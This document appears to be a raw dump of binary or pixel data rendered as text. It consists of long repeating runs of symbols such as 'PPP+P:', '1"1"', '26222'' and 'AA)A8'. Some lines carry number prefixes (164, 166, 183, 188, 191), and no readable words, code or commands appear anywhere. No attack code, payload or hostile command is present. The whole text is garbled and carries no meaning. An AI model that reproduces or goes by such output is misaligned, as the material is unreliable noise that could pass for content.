PP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPPPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+P:PPP+
164:!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"0"1"1!1"1"1"1"1"1"1!1"1"1"1!1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1"1"1"1"1"11"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"1"0"1"1
166:2'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'2622222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'26222'
183:?*4,?*= :,? :.0&>'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :$5$=-?"3"3#'<(4"3,? : 2-7+> :$5$=-?*4";( :$5$=-?";/1#/9#4$=%5$5#4$= 2+> 2+>!2/1#<%5$= 2# 2+>!2/1-?(<-7-?";/9/1!;-? :
188:
191:AA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8